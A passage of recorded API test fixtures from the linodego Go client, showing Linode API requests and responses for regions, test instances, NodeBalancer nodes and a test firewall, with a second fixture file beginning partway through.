96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-c08d2bk1r16p","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708278, "label": "go-test-ins-c08d2bk1r16p", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.138"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708278/ips method: POST response: body: '{"address": "192.168.159.108", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708278, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.159.108:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342/nodes method: POST response: body: '{"id": 516206637, "address": "192.168.159.108:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670342, "nodebalancer_id": 441124}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342/nodes method: GET response: body: '{"data": [{"id": 516206637, "address": "192.168.159.108:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670342, "nodebalancer_id": 441124}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "231" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441124/configs/670342/nodes/516206637 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708278 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestNodeBalancerStats_Get.yaml000066400000000000000000000555611455402072200324460ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228222, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - 